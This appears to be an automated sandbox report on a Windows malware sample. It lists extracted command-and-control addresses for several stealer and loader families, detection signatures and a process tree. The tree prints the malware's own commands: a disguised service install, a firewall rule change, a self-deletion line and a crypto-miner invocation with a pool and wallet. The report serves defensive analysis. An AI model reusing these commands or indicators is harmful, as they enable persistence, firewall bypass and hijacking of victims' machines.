Analysis

  • max time kernel
    151s
  • max time network
    150s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    18/12/2021, 07:56

General

  • Target
    b581478dba5d79dc2502f02a0cbdb44a.exe
  • Size 300KB
  • Sample211218-jspblafdfm
  • SHA256 a3176dc8b23256fb326ca2198e98d848cd38988d9e5d2d0a228ea17e070f27d1
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://host-data-coin-11.com/

  • http://file-coin-host-12.com/

rc4.i32
rc4.i32

Extracted

Family
  • tofsee

C2
  • mubrikych.top

  • oxxyfix.xyz

Extracted

Family
  • redline

Botnet
  • 1

C2
  • 86.107.197.138:38133

Extracted

Family
  • amadey

Version
  • 2.86

C2
  • 185.215.113.35/d2VxjasuwS/index.php

Extracted

Family
  • vidar

Version
  • 49.1

Botnet
  • 1100

C2
  • https://noc.social/@sergeev46

  • https://c.im/@sergeev47

Attributes
  • profile_id

    1100

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Arkei

    Arkei is an infostealer written in C++.

  • Bazar Loader

    Detected loader normally used to deploy BazarBackdoor malware.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 7 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • Windows security bypass 2 TTPs
  • suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

    suricata: ET MALWARE Potential Dridex.Maldoc Minimal Executable Request

  • suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

    suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Arkei Stealer Payload 2 IoCs
  • Bazar/Team9 Loader payload 2 IoCs
  • Vidar Stealer 2 IoCs
  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 19 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 23 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 5 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 6 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 13 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SendNotifyMessage 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\b581478dba5d79dc2502f02a0cbdb44a.exe
    "C:\Users\Admin\AppData\Local\Temp\b581478dba5d79dc2502f02a0cbdb44a.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:964
    • C:\Users\Admin\AppData\Local\Temp\b581478dba5d79dc2502f02a0cbdb44a.exe
      "C:\Users\Admin\AppData\Local\Temp\b581478dba5d79dc2502f02a0cbdb44a.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1580
  • C:\Users\Admin\AppData\Local\Temp\46A1.exe
    C:\Users\Admin\AppData\Local\Temp\46A1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:580
    • C:\Users\Admin\AppData\Local\Temp\46A1.exe
      C:\Users\Admin\AppData\Local\Temp\46A1.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:1456
  • C:\Users\Admin\AppData\Local\Temp\53BC.exe
    C:\Users\Admin\AppData\Local\Temp\53BC.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:880
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 880 -s 124
      2⤵
      • Loads dropped DLL
      • Program crash
      • Suspicious behavior: GetForegroundWindowSpam
      • Suspicious use of AdjustPrivilegeToken
      PID:1452
  • C:\Users\Admin\AppData\Local\Temp\B1B5.exe
    C:\Users\Admin\AppData\Local\Temp\B1B5.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    PID:1252
  • C:\Windows\system32\regsvr32.exe
    regsvr32 /s C:\Users\Admin\AppData\Local\Temp\B4A2.dll
    1⤵
    • Loads dropped DLL
    PID:1572
  • C:\Users\Admin\AppData\Local\Temp\C334.exe
    C:\Users\Admin\AppData\Local\Temp\C334.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Checks processor information in registry
    PID:452
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\C334.exe" & exit
      2⤵
        PID:1540
        • C:\Windows\SysWOW64\timeout.exe
          timeout /t 5
          3⤵
          • Delays execution with timeout.exe
          PID:1136
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Users\Admin\AppData\Local\Temp\B4A2.dll,DllRegisterServer {453E3331-4D2C-4B24-B0CB-E1D3785E4A67}
      1⤵
      • Loads dropped DLL
      PID:992
    • C:\Users\Admin\AppData\Local\Temp\C9CA.exe
      C:\Users\Admin\AppData\Local\Temp\C9CA.exe
      1⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1304
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\guivxzwt\
        2⤵
          PID:776
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\deeifogx.exe" C:\Windows\SysWOW64\guivxzwt\
          2⤵
            PID:1404
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" create guivxzwt binPath= "C:\Windows\SysWOW64\guivxzwt\deeifogx.exe /d\"C:\Users\Admin\AppData\Local\Temp\C9CA.exe\"" type= own start= auto DisplayName= "wifi support"
            2⤵
              PID:1120
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" description guivxzwt "wifi internet conection"
              2⤵
                PID:1508
              • C:\Windows\SysWOW64\sc.exe
                "C:\Windows\System32\sc.exe" start guivxzwt
                2⤵
                  PID:624
                • C:\Windows\SysWOW64\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                  2⤵
                    PID:1008
                • C:\Users\Admin\AppData\Local\Temp\E04F.exe
                  C:\Users\Admin\AppData\Local\Temp\E04F.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of SetThreadContext
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1708
                  • C:\Users\Admin\AppData\Local\Temp\E04F.exe
                    C:\Users\Admin\AppData\Local\Temp\E04F.exe
                    2⤵
                    • Executes dropped EXE
                    PID:1056
                  • C:\Users\Admin\AppData\Local\Temp\E04F.exe
                    C:\Users\Admin\AppData\Local\Temp\E04F.exe
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:872
                • C:\Windows\SysWOW64\guivxzwt\deeifogx.exe
                  C:\Windows\SysWOW64\guivxzwt\deeifogx.exe /d"C:\Users\Admin\AppData\Local\Temp\C9CA.exe"
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:1408
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe
                    2⤵
                    • Drops file in System32 directory
                    • Suspicious use of SetThreadContext
                    • Modifies data under HKEY_USERS
                    PID:688
                    • C:\Windows\SysWOW64\svchost.exe
                      svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                      3⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1520
                • C:\Users\Admin\AppData\Local\Temp\3C9B.exe
                  C:\Users\Admin\AppData\Local\Temp\3C9B.exe
                  1⤵
                  • Executes dropped EXE
                  • Modifies system certificate store
                  PID:1152
                • C:\Users\Admin\AppData\Local\Temp\4053.exe
                  C:\Users\Admin\AppData\Local\Temp\4053.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of AdjustPrivilegeToken
                  PID:920
                  • C:\Users\Admin\AppData\Local\Temp\build_FullCrypt.exe
                    "C:\Users\Admin\AppData\Local\Temp\build_FullCrypt.exe"
                    2⤵
                    • Executes dropped EXE
                    PID:276
                  • C:\Users\Admin\AppData\Local\Temp\1234.exe
                    "C:\Users\Admin\AppData\Local\Temp\1234.exe"
                    2⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2080
                • C:\Users\Admin\AppData\Local\Temp\4553.exe
                  C:\Users\Admin\AppData\Local\Temp\4553.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1600
                • C:\Users\Admin\AppData\Local\Temp\53D5.exe
                  C:\Users\Admin\AppData\Local\Temp\53D5.exe
                  1⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2148
                  • C:\Users\Admin\AppData\Local\Temp\a_2021-12-17_20-49.exe
                    "C:\Users\Admin\AppData\Local\Temp\a_2021-12-17_20-49.exe"
                    2⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    PID:2232
                    • C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe
                      "C:\Users\Admin\AppData\Local\Temp\60bb09348e\tkools.exe"
                      3⤵
                      • Executes dropped EXE
                      PID:2656
                • C:\Users\Admin\AppData\Local\Temp\6766.exe
                  C:\Users\Admin\AppData\Local\Temp\6766.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of NtSetInformationThreadHideFromDebugger
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2256

                Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      memory/276-264-0x0000000000270000-0x0000000000349000-memory.dmp

                      memory/276-265-0x0000000000400000-0x0000000000541000-memory.dmp

                      memory/452-121-0x0000000000400000-0x00000000004CD000-memory.dmp

                      memory/452-120-0x0000000000220000-0x000000000023C000-memory.dmp

                      memory/452-119-0x000000000064B000-0x000000000065C000-memory.dmp

                      memory/580-64-0x000000000057B000-0x000000000058C000-memory.dmp

                      memory/688-159-0x0000000000080000-0x0000000000095000-memory.dmp

                      memory/688-160-0x0000000000080000-0x0000000000095000-memory.dmp

                      memory/872-149-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/872-155-0x0000000002310000-0x0000000002311000-memory.dmp

                      memory/872-153-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/872-150-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/872-148-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/872-147-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/872-146-0x0000000000400000-0x0000000000420000-memory.dmp

                      memory/880-77-0x0000000000220000-0x0000000000229000-memory.dmp

                      memory/880-71-0x000000000061B000-0x000000000062C000-memory.dmp

                      memory/880-78-0x0000000000400000-0x00000000004CD000-memory.dmp

                      memory/920-189-0x0000000004630000-0x0000000004631000-memory.dmp

                      memory/920-187-0x0000000000220000-0x0000000000221000-memory.dmp

                      memory/920-190-0x0000000000210000-0x0000000000211000-memory.dmp

                      memory/964-58-0x0000000000220000-0x0000000000229000-memory.dmp

                      memory/964-54-0x000000000059B000-0x00000000005AC000-memory.dmp

                      memory/992-118-0x0000000001D80000-0x0000000001F4E000-memory.dmp

                      memory/1152-248-0x0000000001EF6000-0x0000000001F15000-memory.dmp

                      memory/1152-182-0x0000000001EF0000-0x0000000001EF2000-memory.dmp

                      memory/1252-93-0x00000000766A0000-0x00000000766F7000-memory.dmp

                      memory/1252-100-0x0000000076000000-0x000000007615C000-memory.dmp

                      memory/1252-108-0x000000006EDB0000-0x000000006EDC7000-memory.dmp

                      memory/1252-107-0x0000000074F10000-0x0000000075B5A000-memory.dmp

                      memory/1252-87-0x00000000740B0000-0x00000000740FA000-memory.dmp

                      memory/1252-88-0x0000000000800000-0x0000000000869000-memory.dmp

                      memory/1252-111-0x0000000076710000-0x0000000076745000-memory.dmp

                      memory/1252-106-0x00000000026B0000-0x00000000026B1000-memory.dmp

                      memory/1252-105-0x0000000072210000-0x0000000072290000-memory.dmp

                      memory/1252-89-0x0000000000100000-0x0000000000101000-memory.dmp

                      memory/1252-104-0x0000000075F70000-0x0000000075FFF000-memory.dmp

                      memory/1252-92-0x0000000074E50000-0x0000000074E97000-memory.dmp

                      memory/1252-91-0x0000000074D70000-0x0000000074E1C000-memory.dmp

                      memory/1252-94-0x0000000000150000-0x0000000000195000-memory.dmp

                      memory/1252-101-0x0000000000800000-0x0000000000801000-memory.dmp

                      memory/1304-124-0x000000000055B000-0x000000000056C000-memory.dmp

                      memory/1304-134-0x0000000000400000-0x00000000004CD000-memory.dmp

                      memory/1304-133-0x00000000002A0000-0x00000000002B3000-memory.dmp

                      memory/1368-59-0x0000000002150000-0x0000000002166000-memory.dmp

                      memory/1368-82-0x0000000003F00000-0x0000000003F16000-memory.dmp

                      memory/1408-163-0x0000000000400000-0x00000000004CD000-memory.dmp

                      memory/1408-157-0x000000000066B000-0x000000000067C000-memory.dmp

                      memory/1452-81-0x00000000001C0000-0x00000000001C1000-memory.dmp

                      memory/1520-173-0x00000000001D0000-0x00000000002C1000-memory.dmp

                      memory/1520-172-0x00000000001D0000-0x00000000002C1000-memory.dmp

                      memory/1572-96-0x000007FEFB801000-0x000007FEFB803000-memory.dmp

                      memory/1572-103-0x0000000001E30000-0x0000000001FFE000-memory.dmp

                      memory/1580-57-0x0000000074F11000-0x0000000074F13000-memory.dmp

                      memory/1580-55-0x0000000000400000-0x0000000000409000-memory.dmp

                      memory/1600-208-0x00000000011F0000-0x00000000011F1000-memory.dmp

                      memory/1600-245-0x00000000011F5000-0x0000000001206000-memory.dmp

                      memory/1600-199-0x00000000012C0000-0x00000000012C1000-memory.dmp

                      memory/1600-252-0x0000000001206000-0x0000000001207000-memory.dmp

                      memory/1708-126-0x0000000000B50000-0x0000000000B51000-memory.dmp

                      memory/1708-136-0x0000000000380000-0x0000000000381000-memory.dmp

                      memory/1708-135-0x0000000002130000-0x0000000002131000-memory.dmp

                      memory/2080-246-0x0000000004D35000-0x0000000004D46000-memory.dmp

                      memory/2080-253-0x0000000004D46000-0x0000000004D47000-memory.dmp

                      memory/2080-205-0x00000000001D0000-0x00000000001D1000-memory.dmp

                      memory/2080-209-0x0000000004D30000-0x0000000004D31000-memory.dmp

                      memory/2148-216-0x0000000000240000-0x0000000000241000-memory.dmp

                      memory/2148-215-0x0000000004D20000-0x0000000004D21000-memory.dmp

                      memory/2148-213-0x00000000003D0000-0x00000000003D1000-memory.dmp

                      memory/2232-262-0x0000000000400000-0x000000000082C000-memory.dmp

                      memory/2232-260-0x0000000000220000-0x0000000000258000-memory.dmp

                      memory/2232-259-0x0000000000020000-0x000000000003D000-memory.dmp

                      memory/2256-226-0x0000000000360000-0x00000000003A5000-memory.dmp

                      memory/2256-228-0x00000000000F0000-0x00000000000F1000-memory.dmp

                      memory/2256-230-0x0000000074D70000-0x0000000074E1C000-memory.dmp

                      memory/2256-227-0x0000000000F70000-0x00000000010A4000-memory.dmp

                      memory/2256-242-0x0000000004BC0000-0x0000000004BC1000-memory.dmp

                      memory/2256-225-0x00000000740B0000-0x00000000740FA000-memory.dmp